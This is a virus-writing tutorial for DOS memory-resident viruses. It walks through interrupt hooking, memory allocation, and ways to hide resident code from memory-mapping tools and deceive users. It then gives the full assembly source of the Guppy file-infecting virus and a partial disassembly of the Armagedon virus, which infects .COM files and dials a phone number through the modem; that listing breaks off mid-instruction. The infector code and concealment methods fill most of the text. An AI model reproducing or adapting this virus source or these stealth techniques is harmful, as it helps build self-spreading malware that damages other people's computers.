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╔════════════════════════════════════════════════════════════════════════════╗ ║ Black Wolf's Guide to Memory Resident Viruses. ║ ╚════════════════════════════════════════════════════════════════════════════╝ ****************************************************************************** Disclaimer: This file is for informational purposes only! It was written to provide an understanding of the methods viruses can use to to protect against viruses and disassemble them as well as to write them. It is at the possesser's discretion to decide which. By using this file, the user accepts all responsibilities for whatever he or she might do. ****************************************************************************** INTRODUCTION: A memory resident program (or TSR for Terminate and Stay Resident) is a program that leaves at least a portion of itself in memory after it terminates and waits for a particular even to take place before it 'activates' again. With DOS, this generally means that it hooks interrupts (BIOS/DOS function calls) and waits for a specific keystroke, I/O command, time, etc. While this can be useful in many types of programs, it is especially important in viral programming. A virus that remains in memory can spread faster and protect itself through 'stealth' abilities that non-resident viruses cannot have. This text will take you through several methods of memory resident programming for viruses, assuming a decent level of competency in 8086/8088 assembly language. BASICS: For starters, we need to know what a program has to do to go memory resident. This can be summed up in 3 basic steps: 1.) Allocate some memory that will NOT be deallocated after the virus terminates. This is necessary so that the virus will not be overwritten. 2.) Copy the virus to the allocated memory. 3.) Set up a method in which the virus will eventually be activated, generally by hooking BIOS or DOS interrupts. OVERVIEW OF INTERRUPTS: The first thing that we need to know is how interrupts work. Interrupts are mainly BIOS and DOS subroutines (functions) that can be called by a program (example: Int 21h is the main file I/O interrupt). To use them, all one has to do is set up the registers for the desired purpose and execute an INT XX, where XX is the interrupt number between 1 and 255. What the computer does first when it hits this instruction is push all of the flags (PUSHF), then it consults a table at the bottom of memory and executes a far call to the address of the appropriate interrupt. When the interrupt is done, it returns to the program by executing an IRET (interrupt return), which is a combination of a RETF and a POPF. To set the interrupt, then, merely takes changing that table. If you want to return to the original handler after your code runs, however, you must also save the old values and jump there when your code is done. This is absolutely neccessary with handlers like INT 21h, for otherwise nothing that DOS does through this will get done, and the computer will crash. THE INTERRUPT TABLE: The Interrupt Table is a table of addresses for the interrupt handler code of each interrupt. It is located at 0000:0000 and ends at 0000:0400. Each entry is 4 bytes long, consisting of a word long pointer to the offset of the handler followed by a word pointer to the segment of the handler. This setup allows you to calculate the address of an interrupt address by taking the entry number and multiplying it by 4. For example, the Int 21h address (the major DOS Interrupt) is located at 0000:0084 (21h*4). There is a space at the end of the interrupt table allocated for user programs to set up their own interrupts and for later expansion. This is basically the upper half, starting at 0000:0200. On my system at least, this is generally free up until about 0000:03A0 or so, leaving 1A0h bytes for you to use if you want for whatever. This will be look into in more depth later on..... HOOKING INTERRUPTS: There are two basic ways to hook interrupts. The first, using DOS, is done with Int 21h, functions 35h (Get Interrupt Address) and 25h (Set Int). First what you want to do is call Int 21h with the following setup: AH = 35h (Get Interrupt Vector) AL = Interrupt Number It returns the following: AX = Unchanged ES = Interrupt Handler Segment BX = Interrupt Handler Offset What you want to do then is store the ES:BX address so that it can be used later, and then set the interrupt to point to your handler. To do this call Int 21h again as follows: AH = 25h (Set Interrupt Vector) AL = Interrupt Number DS = New Handler Segment DX = New Handler Offset Now that your interrupt is set, you have to do something with it. Here is a basic model for an interrupt hooker with a handler that returns control to the original handler after it is done: ;──────────────────────────────────────────────────────────────────────────── ;Assume that DS = CS as in a .COM file. Get_Interrupt_Address: mov ax,3521h ;Get Old Int 21h Address int 21h mov word ptr [Int_21_Segment],es ;Save old address mov word ptr [Int_21_Offset],bx Set_Interrupt_Address: mov ax,2521h mov dx,offset Int_21_Handler ;DS:DX = Int_21_Handler int 21h ;Set the new handler ;*********** Continue on with program, exit, whatever Int_21_Handler: cmp ah,4bh ;Check for activation je execute_a_program ;conditions by looking cmp ah,3dh ;at the function numbers je open_a_file ;of Int 21 that you wish ;to intercept. Make sure ;to save any registers that ;you change inside the ;various handlers!!!!!! Go_Int_21: db 0eah ;This simulates a far jump Int_21_Offset dw 0 ;to the old interrupt handler. Int_21_Segment dw 0 ;(0EAh is code for a far jmp.) ;──────────────────────────────────────────────────────────────────────────── Notice the trick in Go_Int_21 with the 0EAh. What that does is simulate a far jump to the old handler once your handler is done. A couple of other things that one must do when an interrupt is hooked are as follows: 1.) Make sure to push/pop any registers that get changed!!!!! Otherwise the results are unpredictable. 2.) Make sure that your interrupt handler does not call the function that is has hooked directly. I.E. if you hook Int 21h, function 3dh to open files, do not put an Int 21h, function 3dh inside the handler for it, as it will call the handler again, and again, and again...... Instead, call the interrupt indirectly by calling the ORIGINAL address with code like the following: Call_Int_21h: pushf ;push the flags and perform call dword ptr [Int_21_Offset] ;a far call to simulate an ;INT call. ALTERNATIVE METHOD: The other way to hook interrupts is by directly changing the table. This can be done very easily, but you MUST remember to disable the interrupts before doing so, then enable them afterwords. Otherwise, the interrupt could possibly be called when only half of the address was set, creating unpredictable results. See the following example: ;──────────────────────────────────────────────────────────────────────────── Set_DS_to_Table: ;DS = 0 xor ax,ax mov ds,ax Hook_Int_21: mov ax,offset Int_21_Handler ;ax = Handler Offset mov bx,cs ;bx = Handler Segment cli ;clear interrupts xchg ax,word ptr ds:[84h] ;Set AX = Old handler offset ;and set new offset. xchg bx,word ptr ds:[86h] ;Set BX = Old handler segment ;and set new segment. mov word ptr cs:[Int_21_Offset],ax mov word ptr cs:[Int_21_Segment],bx sti ;restore interrupts push cs pop ds ;restore DS = CS ;──────────────────────────────────────────────────────────────────────────── ALLOCATING MEMORY: Okay, now that we know exactly how interrupts work, let's take a look at some ways to allocate memory for the virus. What we need is a space large enough for our virus to fit in and work that will not be deallocated after an infected program is terminated. There are several ways in which to do this. One can use Int 27h as a regular program would, but this would cause the entire program to halt, alerting any user with a brain that something is wrong. One can, however, make a virus that either re-executes the host so that the termination is not seen (as Armageddon the Greek does) or one can make it only go TSR the first time (duh) and allow the program to execute fine afterwards (like Guppy and Little Brother do). The methods for these are pretty simple and can be gained by examining the disassemblies of Guppy and Armageddon included with this file. BLANK SPACES: The next simple method to go memory resident is to find a blank area in memory that will NOT be used and use it. For really small virii, one can use the top half of the interrupt table (mentioned earlier) in the manner that the Micro-128 virus does (see disassembly). Other locations, such as video memory (0b000/0b800) can be used as well if one keeps it on an unused page (risky, but 0b900 will work for a while....). Leapfrog, for instance, stores itself in one of DOS's disk buffers. The only code for this is to copy the virus to the unused memory and make sure to point the handler to the NEW copy. BOOT SECTORS: One slight variation on this is the code that boot sector viruses such as Stoned and Michelangelo use to allocate memory. Before DOS has booted (and even later, as we will talk about later) BIOS stores the amount of usable lower memory in a word located at 0:413h in memory. This word contains the number of usable K, starting at 0000:0000 and ending (at the highest) at A000:0000. One can reserve space for a virus by subtracting the number by the number of K needed (round up). Then, to find the segment address, multiply the new value by 64 (40h) to convert it into paragraphs. This is your free area. Copy the virus to here, then set the interrupts to point to its handlers. When DOS boots it will reserve this area as allocated and CHKDSK will return 1K less low memory (assuming you use 1K). Here is an example of this technique: ;──────────────────────────────────────────────────────────────────────────── Get_Current_Amount: xor ax,ax mov ds,ax mov ax,word ptr ds:[413h] ;ax = memory in K Reserve_Memory: dec ax mov word ptr ds:[413h],ax ;lower memory by 1K Calculate_Free_Segment: mov cl,06 shl ax,cl ;AX = AX * 64 mov es,ax ;ES:0 is now the beginning ;of free memory. ;──────────────────────────────────────────────────────────────────────────── DOS MEMORY STRUCTURES: Unfortunately, the last method only works before DOS is loaded. While this is great for bootsector and multi-partite viruses, it doesn't work very well for file-oriented viruses that load under DOS. For these, we need to know more about the memory structures that DOS uses, namely the Memory Control Blocks (MCB's) and the Program Segment Prefix (PSP). PSP AND MCB's: When a file is loaded to be executed under DOS, DOS first takes the memory it will allocate to the file and starts it with a 16 byte header called a Memory Control Block. This header tells DOS the owner of the block of memory, the size of the block, and whether it is the last in a chain of MCB's or not. DOS the loads a 256 byte table called the Program Segment Prefix directly after the MCB. The PSP is basically a table of information for DOS book-keeping, including the location of the top of usable memory by DOS. This also holds the default DTA, FCB's, and command lines for programs Directly after the PSP, DOS loads the program to be run. If it is a .COM file, it will be loaded and run where CS:0 = the beginning of the PSP, making the beginning of the file start at an offset of 100h. If it is an .EXE file, the beginning of the file will be loaded at CS:0, where CS is 10h higher than the PSP's segment. This is important to remember when trying to modify the PSP from a program. The MCB, as said above, is 10h lower in memory than the PSP, or one segment lower. Full tables of each structure are shown below. The format of a Memory Control Block is as follows: ╔═══════════════════════════════════════════════════════════════════════════╗ ║ Memory Control Blocks ║ ╠═══════════════════════════════════════════════════════════════════════════╣ ║ Offset Name Length (Bytes) Description ║ ║ ║ ║ 0 Location 1 M=Last Block, Z=Not Last ║ ║ 1 Owner 2 Segment of start of Memory║ ║ 3 Size 2 Length in Paragraphs ║ ║ 5 Unknown 3 Supposedly Reserved ║ ║ 8 Owner's Name 8 Name. Appears in mem maps║ ╚═══════════════════════════════════════════════════════════════════════════╝ The format of DOS's Program Segment Prefix is as follows: ╔═══════════════════════════════════════════════════════════════════════════╗ ║ Program Segment Prefix ║ ╠═══════════════════════════════════════════════════════════════════════════╣ ║ Offset Name Length (Hex Bytes) Description ║ ║ ║ ║ 00 Terminate 2 CD20 (Int 20) ║ ║ 02 Top of Memory 2 Usually set at A000. ║ ║ -- Sometimes needed to ║ ║ -- lower DOS's memory for ║ ║ -- a virus. ║ ║ 04 Unknown 1 Supposedly Reserved. ║ ║ 05 CPM stuff 5 Obsolete ║ ║ 0A Exit to DOS 4 Int 22h handler (IP:CS)║ ║ 0E Control C Handler 4 Int 23h handler (IP:CS)║ ║ 12 Critical Error 4 Int 24h handler (IP:CS)║ ║ 16 Parent ID 2 Segment of Parent Prog.║ ║ 18 Handle Table 14 One byte/handle ║ ║ 2C Environment Segment 2 Segment of Envir. Vars.║ ║ 2E User Stack 4 Stack address ║ ║ 32 File Handle Count 2 Size of Handle Table ║ ║ 34 Handle Table Address 4 If not at 12h ║ ║ 38 Unknown 1c Supposedly Reserved ║ ║ 50 Dos Call and RET 3 INT 21, RET ║ ║ 53 Unknown 9 Supposedly Reserved ║ ║ 5C FCB 1 10 File Control Block ║ ║ 6C FCB 2 10 "" ║ ║ 7C Unknown 4 Reserved ║ ║ 80 Command Line Length 1 Also used as the ║ ║ 81 Command Line 7f default DTA. ║ ╚═══════════════════════════════════════════════════════════════════════════╝ Using this information, there are two basic ways to go memory resident. The first is to tell DOS that its top of memory is one or two K less, lowering the MCB memory to correspond, then lowering the BIOS memory as shown before. This method allows the virus to go memory resident using a small amount of code, and it prevents it from showing up on MEM's list of memory holders. Unfortunately, a decrease in lower memory is quite obvious using programs like CHKDSK and MEM. The other method is to create another memory block than the host's, setting the owner to either itself or, most commonly, COMMAND.COM. This can be done either using DOS memory functions, as most viruses do, or it can be done directly by manipulating the MCB's themselves. BIOS/PSP METHOD: The first and simplest method is to lower DOS's top of memory field in the PSP, shrink the file's MCB, and lower the memory allocated to DOS by BIOS. The end result of this is an area at the top of low memory that is unallocated and can be used. One of the disadvantages of this is that the size of the block MUST be allocated in chunks of 1K because the BIOS memory field stores size in 1K blocks. This method is quite similair to that used in the bootsector example above. See the example below: ;──────────────────────────────────────────────────────────────────────────── ;This example assumes .COM file structure where DS = CS = PSP. Get_And_Lower_Top_Of_Memory: mov ax,word ptr ds:[02] ;Get Top of Memory (PSP) sub ax,40h ;Lower it by 1K (40h paragraphs) mov word ptr ds:[02],ax ;And Replace Value. Get_MCB_Segment: mov ax,ds ;AX = CS = DS dec ax ;Get Segment of MCB mov ds,ax ;And put into DS Shrink_Block: sub word ptr ds:[03],40h ;Subtract 1K from host's MCB ;allocation (paragraphs) Allocate_From_Bios: xor ax,ax mov ds,ax ;DS = 0 dec word ptr ds:[413h] ;Allocate 1K from Bios Find_Free_Segment: mov ax,word ptr ds:[413h] ;Get memory in 1K mov cl,6 shl ax,cl ;change to segment (multiply ;by 64 or 40h) ;AX now equals free segment ;of memory mov es,ax ;Set ES = Free Segment ;──────────────────────────────────────────────────────────────────────────── ALLOCATING WITH DOS: Using DOS to allocate memory for you is often the method of choice for virus writers. To do this, first find the maximum block size avaliable by calling INT 21h, function 4Ah (Modify Memory Allocation) with the requested memory (In paragraphs) set to 0ffffh. Since this is impossible, it will return a carry flag and put the maximum size in BX. Subtract this amount by the number of paragraphs that you want (+1 for safety) and then execute another function 4Ah with the new value for BX. This will shrink the block and give you enough space for the virus at the top of memory. Allocate memory for the virus using Int 21h, function 48h (Allocate Memory) with BX set to the number of paragraphs you want (no +1 this time). This will return the segment of free memory in AX. All that is left now is to mark the new block as the last in the chain by setting the first byte in its MCB to 'Z', and change its owner. The owner is usually a word value corresponding to the program's PSP (MCB Seg+1). This will work, or you can set it to a reserved value like 08 (I/O). After this is done, if you want, you can set the owner's name field starting at MCB_SEG:0008 to any eight byte or smaller name. This name will appear in memory mapping programs such as MEM and SI. ;──────────────────────────────────────────────────────────────────────────── Get_Maximum_Memory: mov ah,4ah mov bx,0ffffh ;Request too much int 21h ;memory - maximum size ;returned in BX. Subtract_Needed_Memory: sub bx,((end_vir-start_vir+0fh)/10h)*2+1 ;Shrink Block by ;(virsize*2)+1 Shrink_Block: ;BX = Paragraphs mov ah,4ah ; Requested int 21h ;ES = Segment of Block Allocate_Memory: mov ah,48h mov bx,((end_vir-start_vir+0fh)/10h)*2 ;Allocate (virsize*2) int 21h ;Returns AX = Free Seg Point_ES_to_New_MCB: dec ax mov es,ax inc ax Set_As_Last_Block: mov byte ptr es:[0],'Z' ;Mark as last ;in chain Set_Owner: ;Note: The number in the Owner field is usually the segment of the program's ; PSP. Certain values, however, have special meanings. 08, for example, ; indicates I/O or Command.COM as the owner. This can be useful for ; deceptions. The only requirement of this is that the owner will NOT ; be deallocated. mov word ptr es:[1],ax ;Set owner as itself. Set_Name: ;Note: This is not necessary, but it can be used for many purposes. mov di,08 ;ES:DI = owner name ;DOS 4+ mov si,offset virname push cs pop ds mov cx,4 repnz movsw ;Copy name into field. ;This will show up in programs like MEM and ;System Information. ............. ;Continue program, hook interrupts, etc. virname db 'reMEMber' ;──────────────────────────────────────────────────────────────────────────── DIRECT MANIPULATION: Direct Manipulation is basically the same in the end result as DOS manipulation, but the steps are executed (obviously) completely differently. One advantage of this method is that one can determine whether or not to allow DOS to display the block the virus is in (see notes in code). Since the steps are basically the same, see the code for how each is done. ;──────────────────────────────────────────────────────────────────────────── Get_Maximum_Memory: mov ax,ds dec ax mov ds,ax ;DS = MCB mov bx,word ptr ds:[03] ;Get Block Size Subtract_Needed_Memory: sub bx,((end_vir-start_vir+0fh)/10h)*2+1 ;Shrink Block by ;(virsize*2)+1 Shrink_Block: mov word ptr ds:[03h],bx ;Lower Block Size ;──────────────────────────────────────────────────────────────────────────── ;Note: If you want your program to show up in a memory map, set this byte ; to 'M', meaning that it is NOT the last block. Otherwise, set it ; to 'Z' so that MEM and like programs will not trace past it. ;──────────────────────────────────────────────────────────────────────────── mov byte ptr ds:[0],'M' ;Mark host block's ;location in chain. Lower_Top_Of_Memory: ;Lower field in PSP sub word ptr ds:[12h],((end_vir-start_vir+0fh)/10h)*2+1 Point_ES_to_New_MCB: ;Get New top of mem mov ax,word ptr ds:[12] ;from PSP. mov es,ax ;ES = new segment. Set_As_Last_Block: mov byte ptr es:[0],'Z' ;Mark as last ;in chain Set_Owner: mov word ptr es:[1],ax ;Set owner as itself. ;──────────────────────────────────────────────────────────────────────────── SELF RECOGNITION: One thing that a virus must do to remain unnoticed to any degree is to recognize if it has already been installed so that it does not continue to re-install itself, taking up more and more memory. The simplest way to do this is to hook an interrupt and check for a certain unique value, or an installation check, and return another unique value if one is received to tell the executing virus that it is already in memory. For example, one can hook INT 21h and wait for AX to be equalled to DEADh on entry. In such a case, one could save the value and IRET. If the virus is not installed, the result will be AX = DE00. The executing virus would then check to see if the value was correct and, if so, return control to the host without re-installing itself. See the code below: ;──────────────────────────────────────────────────────────────────────────── Install_Check: mov ax,0deadh int 21h ;Is it installed? cmp ax,0deadh je Already_Installed ;Yes? jump to Already_Installed Install: ;otherwise install it. .......... Int_21_Handler: cmp ah,4bh je execute cmp ah,3dh je open cmp ax,0deadh ;Is it an install check? je Install_Check ;Yes, jump to Install_Check. Go_Int_21: db 0ea Int_21_IP dw 0 Int_21_CS dw 0 Install_Check: ;Save value in AX iret ;──────────────────────────────────────────────────────────────────────────── COPYING THE VIRUS: One point that has been more or left out up until now is how to copy the virus. The simplest (and the only REAL way) is to set ES:DI to the newly allocated space, DS:SI to the start of the virus, and CX to the length of the virus in words (or bytes if you wish to use movsb). Then execute a REPNZ MOVSW and you've got it. Note: When using Int 27, this is uneccessary because it puts the program into memory at it's original location. ;*************************************************************************** ;* The Guppy Virus * ;*************************************************************************** ;* The Guppy virus is a relatively simple, very small, resident .COM * ;*infector. It uses the standard way for a regular program to go resident * ;*(i.e. Int 27) which makes the infected program terminate the first time * ;*run. After that, however, infected files will run perfectly. This virus* ;*uses interesting methods to restore the storage bytes, as well as a * ;*strange technique to restore control to an infected file after it has * ;*already gone memory resident. * ;* * ;*Note: The Guppy virus was originally assembled with an assembler other * ;* than Tasm, so to keep it exactly the same some commands must be * ;* entered directly as individual bytes. In these cases, the command * ;* is commented out and the bytes are found below it. * ;* * ;*************************************************************************** .model tiny .radix 16 .code org 100h start: call Get_Offset Get_Offset: pop si ;SI = offset of vir + ;(Get_Offset-Start) mov ax,3521h mov bx,ax int 21h ;Get Int 21 Address mov ds:[si+Int_21_Offset-103],bx ;Save old Int 21 mov ds:[si+Int_21_Segment-103],es ;mov dx,si ;Bytes vary between assemblers db 89,0f2 ;add dx,offset Int_21_Handler-104 db 83,0c2,1f mov ah,25h int 21h ;Set Int 21 inc dh ;Add 100h bytes to go resident ;from handler push cs pop es int 27h ;Terminate & stay resident ;DX+1 = end of area to go res. Int_21_Handler: cmp ax,4B00h ;Is call a Load & Execute? je Infect ;Yes? Jump Infect cmp al,21h ;Might it be a residency check? jne Go_Int_21 ;No? Restore control to Int 21 ;cmp ax,bx ;Are AX and BX the same? db 39,0d8 jne Go_Int_21 ;No, Restore control to Int 21 push word ptr [si+3dh] ;3dh = offset of Storage_Bytes - ;Get_Offset ;This gets the first word of ;storage bytes, which is then ;popped to CS:100 to restore it. mov bx,offset ds:[100] ;100 = Beginning of COM pop word ptr [bx] mov cl,[si+3Fh] ;Restore third storage byte. mov [bx+2],cl Restore_Control: pop cx push bx iret ;Jump back to Host program. Storage_Bytes db 0, 0, 0 Infect: push ax push bx push dx push ds mov ax,3D02h int 21h ;Open File for Read/Write Access xchg ax,bx call Get_Offset_Two Get_Offset_Two: pop si push cs pop ds mov ah,3F mov cx,3 sub si,10 ;Set SI=Storage_Bytes ;mov dx,si db 89,0f2 int 21h ;Read first 3 bytes of file cmp byte ptr [si],0E9h ;Is the first command a jump? jne Close_File ;No? Jump to Close_File mov ax,4202h xor dx,dx xor cx,cx int 21h ;Go to end of file xchg ax,di mov ah,40h mov cl,98h ;Virus Size ;mov dx,si db 89,0f2 sub dx,40h ;Beginning of virus int 21h ;Append virus to new host mov ax,4200h xor cx,cx xor dx,dx int 21h ;Go back to beginning of file mov cl,3 ;sub di,cx db 29,0cf mov [si+1],di mov ah,40h ;mov dx,si db 89,0f2 int 21h ;Write 3 byte jump to file Close_File: mov ah,3Eh int 21h pop ds pop dx pop bx pop ax Go_Int_21: db 0EAh ;Go On With Int 21 Int_21_Offset dw ? Int_21_Segment dw ? end start ;************************************************************************** ;*************************************************************************** ;* The Armagedon Virus * ;* * ;*Dial is controlled off of the new INT 08 handler when virus goes TSR. * ;*Examine the way the virus goes memory resident using INT 27, this is an * ;*interesting method that I had not seen before in a virus. Also, look * ;*at its rather strange procedure for infecting files. * ;* * ;* Disassembly by Black Wolf * ;* * ;* (The 911 virus is directly related to this one, as the only differences * ;* are in the numbers dialed and the text messages) * ;*************************************************************************** .model tiny ;Sets assembler into Tiny mode .radix 16 ;Sets numbers to hexidecimal .code org 100 ;************************************************************************** ;* Loading Jump * ;************************************************************************** start: jmp Virus_Entry ;************************************************************************** ;************************************************************************** ;* This is where the infected file would usually be. * ;************************************************************************** ;************************************************************************** ;************************************************************************** ;* Int 21 Handler * ;************************************************************************** Int_21: pushf cmp ah,0E0 ;Is this an installation check? jne not_check ;If not, go to not_check mov ax,0DADA ;If so, return 0DADA popf ;and exit interrupt. iret not_check: cmp ah,0E1 ;0E1=request for virus' seg. address jne not_seg_req ;Not E1? then go to not_seg_req mov ax,cs ;Move virus' address into AX popf ;and exit interrupt. iret not_seg_req: cmp ax,4B00 ;Load and Execute? je Infect ;Go Infect Go_Int_21: popf ; jmp dword ptr cs:[Int_21_Off] db 2e,0ff,2e,22,01 ;Jump to Int 21 (done) ;************************************************************************** ;**************************************************************************** ;* Main Data Section * ;**************************************************************************** Int_21_Off dw 138dh Int_21_Seg dw 029a Int_08_Off dw 022Bh Int_08_Seg dw 70 Ready_Byte db 0 Timing_Counter db 8 save_time_a db 10 save_time_b db 9 save_date db 34 Bytes_Written dw 0 waste_byte db 0 Character_Count db 0 Data_Ready db 0 Ports_Initialized db 0 com db 'COM' handle dw 5 file_size dw 2 db 0, 0 mem_allocated dw 1301 save_ss dw 12AC save_sp dw 0FFFE filename_seg dw 9B70 filename_off dw 3D5Bh attribs dw 20 file_date dw 0EC2 file_time dw 6E68 db 0,0,81,0 cs_save_3 dw 12AC db 5C,0 cs_save_1 dw 12AC db 6C,0 cs_save_2 dw 12AC ;**************************************************************************** Infect: push ds bx si cx ax dx bp es di ;Save Registers cld ;Clear direction push dx ds ;Save Filename Address xor cx,cx ;Zero CX for use as counter mov si,dx ;Move Filename Offset to SI Find_End_Of_Filename: mov al,[si] ;Get letter from Filename cmp al,0 ;Are we at the end of the je Check_Filename ;Filename? Yes? Go to loc_7 inc cx ;inc Count inc si ;inc pointer to next char jmp short Find_End_Of_Filename Check_Filename: add dx,cx ;add filename length to ;start of filename address sub dx,3 ;Subtract 3 for extension mov si,offset com ;com='COM' mov di,dx ;set di=dx to Check ;Next few lines Check for ;Command.Com cmp byte ptr [di-3],4E ;Is the second to last letter ;an 'N'? jne setup_check ;If not, it's not COMMAND, ;Go to loc_8 cmp byte ptr [di-2],44 ;Is the last letter a 'D'? je Infect_Error ;If so, it is COMMAND, ;Go to Infect_Error. setup_check: mov cx,3 ;Setup loop check_if_com: mov al,cs:[si] cmp al,[di] jne Infect_Error inc si ;Check for 'COM' Extension inc di ;If so, infect, otherwise loop check_if_com ;Go to Infect_Error pop ds pop dx ;Restore original filename push dx ;address to DS:DX, then push ds ;push them back onto stack mov si,dx mov dl,0 cmp byte ptr [si+1],3A ;Is the second letter a ; ':'? I.E. is the file on ;another drive? jne Get_Free_Disk_Space ;Nope? Go Get_Free_Disk_Space mov dl,[si] ;Get drive number if the file and dl,0F ;is on another drive. Get_Free_Disk_Space: mov ah,36 int 21h ;Get free drive space. ;DL=drive cmp ax,0FFFF je Infect_Error jmp short Continue_Infect nop Infect_Error: jmp Pop_And_Quit_Infect jmp End_Infect Error_After_Open: jmp Close_File jmp Reset_DTA Continue_Infect: cmp bx,3 ;If there are less than 3 jb Infect_Error ;clusters free, quit. pop ds ;DS:DX is filename address pop dx ;again. push ds push dx mov word ptr cs:[filename_seg],ds ;Save DS:DX again mov word ptr cs:[filename_off],dx mov ax,4300 int 21 ;Get the file attributes mov word ptr cs:[attribs],cx ;Store attributes mov ax,4301 xor cx,cx ;Set attributes to zero int 21 ;to insure write access. mov bx,0FFFF mov ah,48 ;Allocate all free memory int 21 ;by trying to allocate more ;than the computer possibly can, mov ah,48 ;then using the returned number int 21 ;(free mem) as the amount to ;request. mov word ptr cs:[mem_allocated],ax ;save the segment of ;allocated memory mov ax,cs ;point ds to cs mov ds,ax mov dx,offset new_DTA mov ah,1A int 21 ;Set DTA to memory after virus pop dx pop ds mov ax,3D02 clc ;clear carry (unneccessary) int 21 ;Open file for read/write access jc Error_After_Open ;on error go to ;Error_After_Open mov bx,ax ;move handle to bx mov word ptr cs:[handle],ax ;save file handle mov cx,0FFFF mov ax,word ptr cs:[mem_allocated] ;Get segment of ;memory to use mov ds,ax ;point ds to it mov dx,end_main_virus-start mov ah,3F clc ;clear carry int 21 ;Read 0ffff byte from file jc Error_After_Open ;If error go to ;Error_After_Open mov word ptr cs:[file_size],ax ;save file size ;(number of bytes read) cmp ax,0E000 ja Error_After_Open ;File is too large, go to ;Error_After_Open cmp ax,end_main_virus-start ;Is file smaller than virus? jb Not_Infected ;Yes, therefore it isn't ;infected, goto Not_Infected mov si,offset (end_main_virus+1-100) add si,si ;Set SI to point to area where sub si,15 ;the text message would be if ;file is already infected. mov cx,13 ;Length of Text_Message mov di,offset Text_Message ;("Armagedon the GREEK") Check_For_Infection: mov al,byte ptr [si] ;This loop checks for the text mov ah,cs:byte ptr [di] ;message in the file being cmp ah,al ;examined. If it's there, it jne Not_Infected ;jumps to Close_File, inc si ;otherwise it jumps to Not_Infected inc di loop Check_For_Infection jmp short Close_File nop Not_Infected: mov ax,4200 mov bx,word ptr cs:[handle] xor cx,cx mov dx,cx int 21 ;Move to beginning of file jc Close_File mov si,100 mov cx,offset (end_main_virus-100) xor di,di mov ax,word ptr cs:[mem_allocated] mov ds,ax Copy_Virus: mov al,cs:[si] ;Copy virus onto file in mov [di],al ;memory. "repnz movsw" inc si ;would've worked a lot inc di ;better. loop Copy_Virus mov ax,5700 mov bx,word ptr cs:[handle] int 21 ;Get File Date/Time mov word ptr cs:[file_time],cx ;Save File Time mov word ptr cs:[file_date],dx ;Save File Date mov ax,word ptr cs:[mem_allocated] mov ds,ax mov si,offset (end_main_virus-100) mov al,[si] ;encrypt first storage add al,0Bh ;byte. mov [si],al xor dx,dx mov cx,word ptr cs:[file_size] ;Calculate new file size add cx,offset end_main_virus-100 ;(add virus size) mov bx,word ptr cs:[handle] mov ah,40 int 21 ;Rewrite file mov word ptr cx,cs:[file_time] mov word ptr dx,cs:[file_date] mov bx,word ptr cs:[handle] mov ax,5701 int 21 ;Restore File Time Close_File: mov bx,word ptr cs:[handle] mov ah,3E int 21 ;Close File push cs pop ds Reset_DTA: mov dx,80 mov ah,1A int 21 ;Reset DTA to default mov ax,word ptr cs:[mem_allocated] mov es,ax mov ah,49 int 21 ;Release Allocated Memory mov ax,word ptr cs:[filename_seg] mov ds,ax mov dx,word ptr cs:[filename_off] mov ax,4301 mov cx,word ptr cs:[attribs] int 21 ;Restore File Date/Time jmp short End_Infect nop Pop_And_Quit_Infect: pop ds pop dx jmp short End_Infect nop End_Infect: pop di es bp dx ax cx si bx ds jmp Go_Int_21 ;************************************************************************ ;* Timer Click (INT 8) Handler * ;* This is Used to Dial Numbers * ;************************************************************************ Int_08: push bp ds es ax bx cx dx si di pushf ;Push flags ;call word ptr cs:[Int_08_Off] ;Run old timer click db 2e,0ff,1e,26,01 call Timing_Routine push cs pop ds mov ah,5 mov ch,byte ptr [save_time_a] cmp ah,ch ja Quit_Int_08 ;if [save_time_a] !=6, quit. mov ah,6 cmp ah,ch jb Quit_Int_08 mov ah,byte ptr [Ready_Byte] cmp ah,1 je Go_Dial mov ah,1 mov byte ptr [Ready_Byte],ah jmp short Quit_Int_08 nop Go_Dial: call Write_Ports inc word ptr [Bytes_Written] mov ax,word ptr [Bytes_Written] cmp ax,21C jne Quit_Int_08 xor ax,ax ;Reset Counters mov byte ptr [Ready_Byte],ah mov word ptr [Bytes_Written],ax mov byte ptr [Data_Ready],ah Quit_Int_08: pop di si dx cx bx ax es ds bp iret ;**************************************************************************** ;* Timing Routine For Dialing * ;**************************************************************************** Timing_Routine: push cs pop ds xor al,al mov ah,byte ptr [Timing_Counter] cmp ah,11 jne Inc_Time_Count mov ah,byte ptr [save_date] cmp ah,3bh jne Inc_Saved_Date mov ah,byte ptr [save_time_b] cmp ah,3bh jne Inc_S_T_B mov ah,byte ptr [save_time_a] cmp ah,17 jne Inc_S_T_A mov byte ptr [save_time_a],al Save_T_B: mov byte ptr [save_time_b],al Store_Save_Date: mov byte ptr [save_date],al Time_Count: mov byte ptr [Timing_Counter],al ret Inc_Time_Count: inc byte ptr [Timing_Counter] ret Inc_Saved_Date: inc byte ptr [save_date] jmp short Time_Count Inc_S_T_B: inc byte ptr [save_time_b] jmp short Store_Save_Date Inc_S_T_A: inc byte ptr [save_time_a] jmp short Save_T_B dial_string db '+++aTh0m0s7=35dp081,,,,141' ;Dial string To call ;Speaking Clock ;in Greece (Crete) ;**************************************************************************** ;* Write Data to Com Ports * ;**************************************************************************** Write_Ports: mov al,byte ptr [Data_Ready] cmp al,1 je Ret_Write_Ports ; Jump if equal mov al,byte ptr [Ports_Initialized] ;Have Ports been cmp al,1 ;Initialized yet? je Already_Initialized mov cx,3 Init_Ports: mov dx,cx xor ah,ah mov al,83 ;Init Comport int 14 ;1200 Baud, No Parity, ;1 Stop Bit, 8 bit Word Len. loop Init_Ports ;Initalize all Ports 1-4 mov al,1 mov byte ptr [Ports_Initialized],al jmp short Ret_Write_Ports nop Already_Initialized: push cs pop ds mov si,offset dial_string mov al,byte ptr [Character_Count] cmp al,1A jne Write_From_SI_To_Ports jmp short Setup_write nop Write_From_SI_To_Ports: xor ah,ah add si,ax mov al,[si] mov dx,3F8 ;Outport from SI to standard out dx,al ;addresses of ports 1-4 mov dx,2F8 ;and increment character count out dx,al mov dx,2E8 out dx,al mov dx,3E8 out dx,al inc byte ptr [Character_Count] jmp short Ret_Write_Ports nop Setup_write: mov cx,3 Write_To_All_Ports: mov dx,cx mov al,0dh mov ah,1 int 14 ;Write a 1 to all ports loop Write_To_All_Ports mov ax,1 mov byte ptr [Data_Ready],al mov byte ptr [Character_Count],ah mov byte ptr [Ports_Initialized],ah Ret_Write_Ports: ret ;**************************************************************************** ; Virus Entry Point ;**************************************************************************** Virus_Entry: mov ah,0e0 int 21 ;Check for Installation cmp ax,0dada ;Was it installed? jne Install_Virus ;No? Then install it. jmp Already_Installed ;Yes? Go to Already_Installed Install_Virus: push cs pop ds mov ax,3521 ;Get Int 